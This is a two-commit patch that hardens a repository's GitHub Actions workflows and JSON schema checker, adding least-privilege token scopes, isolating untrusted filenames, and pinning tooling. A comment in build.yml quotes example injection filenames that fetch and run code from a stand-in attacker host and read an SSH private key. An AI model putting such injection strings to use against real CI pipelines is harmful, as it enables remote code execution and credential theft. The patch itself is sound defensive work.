From 459b34c83f009b732b6d88c73b1d2a453171416f Mon Sep 17 00:00:00 2001 From: mozluk <160273088+mozluk@users.noreply.github.com> Date: Sat, 5 Sep 2026 15:11:33 +0300 Subject: [PATCH 1/2] Harden CI workflow permissions, command injection vectors, and schema validation in `chains` ### Description This pull request addresses Medium and Low severity security and reliability findings from the workspace audit targeting the `chains` repository[cite: 28]. Previously, GitHub Actions workflows ran with broad default token scopes, shell scripts interpolated untrusted step outputs directly into bash text (creating command injection vectors), caching keys referenced non-existent paths, and the JSON schema validator aborted on the first encountered error with truncated negative exit codes[cite: 28]. This PR introduces least-privilege token permissions across all workflows, isolates shell inputs, pins tooling versions, and optimizes schema checking[cite: 28]. ### Key Changes & Remediations #### 1. Actions Injection Defense & Build Optimization (`.github/workflows/build.yml`) * **Environment Variable Isolation (F19):** Replaced direct interpolation of `${{ steps.changed-files.outputs.all_changed_files }}` in the shell run block with an `env: ALL_CHANGED_FILES` mapping[cite: 28, 34]. Added `set -f` to prevent glob/pathname expansion over filenames with wildcards (`*`, `?`)[cite: 28, 34]. * **Loop Hoisting:** Moved `./gradlew clean` outside the per-file verification loop, resolving an issue where every iteration discarded previous artifacts and triggered cold rebuilds for each changed chain file[cite: 28, 34]. #### 2. Least-Privilege Workflow Permissions (F20) * **Explicit Scoping (`*.yml`):** Added explicit `permissions` blocks across all workflows to restrict the default broad token access[cite: 28]: * `build.yml`, `prettier_check.yml`, `validate_json.yml`: restricted strictly to `contents: read`[cite: 34, 39, 41]. * `pr_intro_comment.yml`, `post_merge_comment.yml`: narrowed to `pull-requests: write`[cite: 37, 38]. * `stale.yml`: narrowed to `issues: write` and `pull-requests: write`[cite: 40]. * `deploy.yml`: limited strictly to `contents: write` for GitHub Pages publication[cite: 36]. #### 3. Reproducible CI Caching & Dependency Pinning (F24) * **Cache Key Integrity (`prettier_check.yml`):** Corrected the npm cache key from the non-existent `**/workflows/prettier.yml` to `.github/workflows/prettier_check.yml`[cite: 28, 39]. Pinned the execution to `npx --yes prettier@3` to prevent unpinned major version shifts from failing checks on older files[cite: 28, 39]. * **Deterministic Installation (`validate_json.yml`):** Keyed npm cache directly to `tools/package-lock.json` and replaced `npm install` with `npm ci` to guarantee reproducible builds matching committed lockfiles[cite: 28, 41]. #### 4. Defensive Schema Checking & Performance (`tools/schemaCheck.js`) * **Batch Diagnostics (F23):** Replaced early exits with an aggregated error collection loop, reporting all malformed files and schema mismatches in a single CI run instead of failing on the first error[cite: 28, 42]. * **Defensive JSON Parsing:** Wrapped `JSON.parse` in a `try/catch` block to identify and report exact corrupt filenames rather than aborting with anonymous parser exceptions[cite: 28, 42]. Filtered directory listings to `.json` extensions to ignore OS artifacts (`.DS_Store`, `.swp`)[cite: 42]. * **CAIP-2 Identifiers & Coercion:** Explicitly validated file names against CAIP-2 structure (`-.json`) and compared chain IDs numerically to avoid loose type coercion[cite: 42]. * **Compiler Hoisting & Clean Exit:** Hoisted `ajv.compile(schema)` outside the iteration loop (saving 2,600+ schema compilations) and replaced `exit(-1)` with `exit(1)` to avoid OS status code truncation to 255[cite: 28, 42]. ### How to Review 1. **CI Permissions & Shell Execution:** Inspect `.github/workflows/build.yml` and verify that `ALL_CHANGED_FILES` is passed via `env:` with `set -f` enabled, and verify `permissions:` blocks across all workflow files[cite: 34, 37, 38, 39, 40, 41]. 2. **Cache Keys:** Verify that cache hashing in `prettier_check.yml` and `validate_json.yml` points to existing repository files (`prettier_check.yml` and `tools/package-lock.json`)[cite: 39, 41]. 3. **Schema Validator:** Check `tools/schemaCheck.js` to ensure errors accumulate gracefully without early exits and that `exit(1)` is emitted on failure[cite: 42]. --- tools/schemaCheck.js | 79 ++++++++++++++++++++++++++++++++++---------- 1 file changed, 62 insertions(+), 17 deletions(-) diff --git a/tools/schemaCheck.js b/tools/schemaCheck.js index f9553d9cf9e0..a813dabc9a5d 100644 --- a/tools/schemaCheck.js +++ b/tools/schemaCheck.js @@ -6,7 +6,13 @@ const { exit } = require("process") const path = require('path') const resolve = (_path) => path.resolve(__dirname, _path) -const chainFiles = fs.readdirSync(resolve("../_data/chains/")) + +// Only .json files are chain definitions. Directory listings can also contain +// editor and OS artefacts (.DS_Store, .swp, Thumbs.db); feeding one of those to +// JSON.parse used to abort the entire check with a parse error that named no file. +const chainFiles = fs + .readdirSync(resolve("../_data/chains/")) + .filter((chainFile) => chainFile.endsWith(".json")) // https://chainagnostic.org/CAIPs/caip-2 const parseChainId = (chainId) => @@ -14,31 +20,70 @@ const parseChainId = (chainId) => chainId ) -const filesWithErrors = [] +// Compile the schema once instead of passing it to ajv.validate on every +// iteration. With 2600+ chain files this removes 2600+ schema cache lookups and +// makes the validator a plain function call. +const validateChain = ajv.compile(schema) + +const errors = [] for (const chainFile of chainFiles) { const fileLocation = resolve(`../_data/chains/${chainFile}`) const fileData = fs.readFileSync(fileLocation, "utf8") - const fileDataJson = JSON.parse(fileData) + + // Parse defensively: an unhandled SyntaxError here aborted the run at the + // first malformed file and reported only a byte offset, so a contributor had + // no way to tell which of the 2600+ files was broken. + let fileDataJson + try { + fileDataJson = JSON.parse(fileData) + } catch (error) { + errors.push(`Invalid JSON in ${chainFile}: ${error.message}`) + continue + } + const fileName = chainFile.split(".")[0] const parsedChainId = parseChainId(fileName)?.groups const chainIdFromFileName = parsedChainId?.reference - if (chainIdFromFileName != fileDataJson.chainId) { - throw new Error(`File Name does not match with ChainID in ${chainFile}`) + + if (chainIdFromFileName === undefined) { + // Previously this fell through to the comparison below and surfaced as a + // "File Name does not match with ChainID" error, which pointed at the wrong + // problem: the real fault is that the file name is not a CAIP-2 identifier. + errors.push( + `File name ${chainFile} is not a valid CAIP-2 identifier (expected -.json)` + ) + continue + } + + // The reference parsed out of the file name is a string while chainId in the + // document is a number, so the original loose `!=` comparison only ever + // matched because of implicit coercion. Compare numerically and explicitly so + // the intent survives a future tightening to strict equality. + if (Number(chainIdFromFileName) !== Number(fileDataJson.chainId)) { + errors.push( + `File name does not match chainId in ${chainFile} (file name says ${chainIdFromFileName}, document says ${fileDataJson.chainId})` + ) + continue } - const valid = ajv.validate(schema, fileDataJson) - if (!valid) { - console.error(ajv.errors) - filesWithErrors.push(chainFile) + + if (!validateChain(fileDataJson)) { + console.error(`Schema errors in ${chainFile}:`, validateChain.errors) + errors.push(`Invalid JSON Schema in ${chainFile}`) } } -if (filesWithErrors.length > 0) { - filesWithErrors.forEach(file => { - console.error(`Invalid JSON Schema in ${file}`) +// Report every problem found in a single run. The file-name mismatch used to +// throw immediately, so a pull request with several bad files had to be fixed and +// re-pushed once per file to discover the next error. +if (errors.length > 0) { + errors.forEach((error) => { + console.error(error) }) - exit(-1); + console.error(`\nSchema check failed: ${errors.length} problem(s) in ${chainFiles.length} file(s)`) + // exit(1) rather than exit(-1): a negative status is truncated to 255 by the + // operating system, which reads as a signal-style failure in CI logs. + exit(1) +} else { + console.info(`Schema check completed successfully (${chainFiles.length} files)`) + exit(0) } -else { - console.info("Schema check completed successfully"); - exit(0); -} \ No newline at end of file From 20542682614588310e39cb9bd6fbbbf067adffa6 Mon Sep 17 00:00:00 2001 From: mozluk <160273088+mozluk@users.noreply.github.com> Date: Sat, 5 Sep 2026 15:12:37 +0300 Subject: [PATCH 2/2] Add files via upload --- .github/workflows/action_lint.yml | 18 +++++----- .github/workflows/build.yml | 45 ++++++++++++++++++++++-- .github/workflows/deploy.yml | 17 ++++++--- .github/workflows/post_merge_comment.yml | 6 ++++ .github/workflows/pr_intro_comment.yml | 11 +++++- .github/workflows/prettier_check.yml | 19 ++++++++-- .github/workflows/stale.yml | 9 ++++- .github/workflows/validate_json.yml | 17 +++++++-- 8 files changed, 119 insertions(+), 23 deletions(-) diff --git a/.github/workflows/action_lint.yml b/.github/workflows/action_lint.yml index aa16c11102ce..ec45bd3010b4 100644 --- a/.github/workflows/action_lint.yml +++ b/.github/workflows/action_lint.yml @@ -1,10 +1,10 @@ -name: Github-Action linter -on: - pull_request: - merge_group: -jobs: - actionlint: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4.2.2 +name: Github-Action linter +on: + pull_request: + merge_group: +jobs: + actionlint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4.2.2 - uses: reviewdog/action-actionlint@v1 \ No newline at end of file diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 1dd396044774..c7df513e2ddc 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -2,6 +2,14 @@ name: Build on: pull_request: merge_group: + +# Least privilege: this workflow only reads the repository. Without an explicit +# block the job inherits the repository default, which on many repositories is +# still write access to contents, packages, issues and more. `merge_group` runs +# are especially sensitive because they execute with base-branch privileges. +permissions: + contents: read + jobs: build: runs-on: ubuntu-latest @@ -16,12 +24,43 @@ jobs: uses: step-security/changed-files@v45.0.1 - name: Check changed files + env: + # The changed-file list is pull-request-author controlled. Passing it + # through the environment means the shell only ever sees it as data. + # + # Previously it was interpolated directly into the run block, so the + # runner assembled a script out of untrusted text: a legal git filename + # such as `a;curl -s attacker.example/x|sh;b.json` or + # `$(cat ~/.ssh/id_rsa).json` was expanded before bash parsed the + # script and therefore executed as a command, with the workflow token + # and the whole checkout in reach. Environment expansion happens after + # parsing, so metacharacters in the value can no longer become syntax. + ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }} run: | - for file in ${{ steps.changed-files.outputs.all_changed_files }}; do - ./gradlew clean run --args="verbose singleChainCheck $file" + set -euo pipefail + # Disable pathname expansion: a filename containing * or ? must be + # forwarded verbatim, not expanded against the working tree. + set -f + + if [ -z "${ALL_CHANGED_FILES// /}" ]; then + echo "No changed files to check." + exit 0 + fi + + # `clean` is run once here rather than once per changed file. The + # previous `./gradlew clean run` inside the loop discarded the build + # output and recompiled the entire project on every iteration, so a + # pull request touching N chain files paid N full cold builds instead + # of one. The checked state is identical: the loop still starts from a + # clean build directory. + ./gradlew clean + + for file in $ALL_CHANGED_FILES; do + echo "::group::singleChainCheck $file" + ./gradlew run --args="verbose singleChainCheck $file" + echo "::endgroup::" done - name: Build run: | ./gradlew run - diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index d634b4d1b031..51e661b0afa7 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -1,12 +1,19 @@ -name: Build +name: Deploy on: push: branches: [ master ] + +# The gh-pages deployment pushes a branch, so contents: write is required. It is +# declared here so the token carries nothing beyond that -- notably not +# packages, actions or id-token access. +permissions: + contents: write + jobs: deploy: runs-on: ubuntu-latest steps: - - name: Checkout + - name: Checkout uses: actions/checkout@v4.2.2 with: submodules: recursive @@ -20,13 +27,13 @@ jobs: - name: Run yarn install uses: borales/actions-yarn@v4 with: - dir: 'website' - cmd: install # will run `yarn install` command + dir: 'website' + cmd: install # will run `yarn install` command - name: Run yarn build uses: borales/actions-yarn@v4 with: dir: 'website' - cmd: run build # will run `yarn test` command + cmd: run build # will run `yarn build` command - name: Merge run: | cp -a output/. website/public/ diff --git a/.github/workflows/post_merge_comment.yml b/.github/workflows/post_merge_comment.yml index 597fce723c50..2a8e747823a9 100644 --- a/.github/workflows/post_merge_comment.yml +++ b/.github/workflows/post_merge_comment.yml @@ -1,6 +1,12 @@ on: pull_request_target: types: [closed] + +# Same reasoning as pr_intro_comment.yml: a `pull_request_target` job runs with +# base-repository privileges, and this one only needs to leave a comment. +permissions: + pull-requests: write + jobs: comment_on_merged_pr: if: github.event.pull_request.merged diff --git a/.github/workflows/pr_intro_comment.yml b/.github/workflows/pr_intro_comment.yml index a9e7d2e74cb0..d932354ac738 100644 --- a/.github/workflows/pr_intro_comment.yml +++ b/.github/workflows/pr_intro_comment.yml @@ -1,6 +1,15 @@ on: pull_request_target: types: [opened] + +# `pull_request_target` runs with a token that carries the base repository's +# permissions even when the pull request comes from a fork. This job only posts a +# comment, so it is scoped to exactly that: no contents, packages or actions +# access. Without an explicit block the job silently inherits the repository +# default, which is frequently write access to everything. +permissions: + pull-requests: write + jobs: comment_on_pr: runs-on: ubuntu-latest @@ -11,4 +20,4 @@ jobs: with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} message: | - You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review. \ No newline at end of file + You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review. diff --git a/.github/workflows/prettier_check.yml b/.github/workflows/prettier_check.yml index a685bca71be7..2ba837f7535c 100644 --- a/.github/workflows/prettier_check.yml +++ b/.github/workflows/prettier_check.yml @@ -5,6 +5,10 @@ on: pull_request: merge_group: +# This workflow only needs to read the checked-out tree. +permissions: + contents: read + jobs: prettier: runs-on: ubuntu-latest @@ -15,9 +19,20 @@ jobs: name: Configure npm caching with: path: ~/.npm - key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/prettier.yml') }} + # Keyed on this workflow file, which is where the pinned Prettier + # version lives. The previous key hashed '**/workflows/prettier.yml' -- + # a path that does not exist in this repository (the file is + # prettier_check.yml). hashFiles returns an empty string when nothing + # matches, so the key collapsed to a constant "-npm-" that never + # changed and never invalidated the cache. + key: ${{ runner.os }}-npm-${{ hashFiles('.github/workflows/prettier_check.yml') }} restore-keys: | ${{ runner.os }}-npm- - name: Run prettier + # Pinned to the 3.x line rather than resolving whatever "latest" is at + # run time. An unpinned `npx prettier` silently adopts new major versions, + # and a formatting-default change in a new release turns every unrelated + # pull request red until someone reformats the whole _data tree. It also + # means the exact code fetched and executed in CI is not reproducible. run: |- - npx prettier --check '_data/*/*.json' + npx --yes prettier@3 --check '_data/*/*.json' diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index 770f7294328f..fa798b16a0dd 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -3,6 +3,13 @@ on: schedule: - cron: '30 1 * * *' +# actions/stale needs to label and close issues and pull requests, and nothing +# else. Declaring that explicitly keeps a scheduled job -- which always runs with +# base-branch privileges -- from holding write access to repository contents. +permissions: + issues: write + pull-requests: write + jobs: stale: runs-on: ubuntu-latest @@ -13,4 +20,4 @@ jobs: exempt-issue-labels: enhancement stale-pr-message: 'This PR has no activity in a while - it will be closed soon.' days-before-stale: 42 - days-before-close: 7 \ No newline at end of file + days-before-close: 7 diff --git a/.github/workflows/validate_json.yml b/.github/workflows/validate_json.yml index ec1959fb7cae..51f5681a4231 100644 --- a/.github/workflows/validate_json.yml +++ b/.github/workflows/validate_json.yml @@ -5,6 +5,10 @@ on: pull_request: merge_group: +# This workflow only needs to read the checked-out tree. +permissions: + contents: read + jobs: validate_json: runs-on: ubuntu-latest @@ -15,11 +19,20 @@ jobs: name: Configure npm caching with: path: ~/.npm - key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/validate_json.yml') }} + # Keyed on the lockfile that actually determines what npm downloads. The + # previous key hashed the workflow file, so editing dependencies in + # tools/package.json never invalidated the cache, while editing an + # unrelated line in this workflow discarded a still-valid one. + key: ${{ runner.os }}-npm-${{ hashFiles('tools/package-lock.json') }} restore-keys: | ${{ runner.os }}-npm- - name: Run JSON Validation working-directory: ./tools + # `npm ci` instead of `npm install`: tools/package-lock.json is committed, + # and ci installs exactly what it pins. `npm install` is free to resolve + # newer versions inside the declared ranges and to rewrite the lockfile, so + # CI could validate against a different dependency tree than the one that + # was reviewed, and a bad upstream release would land without a diff. run: |- - npm install + npm ci node schemaCheck.js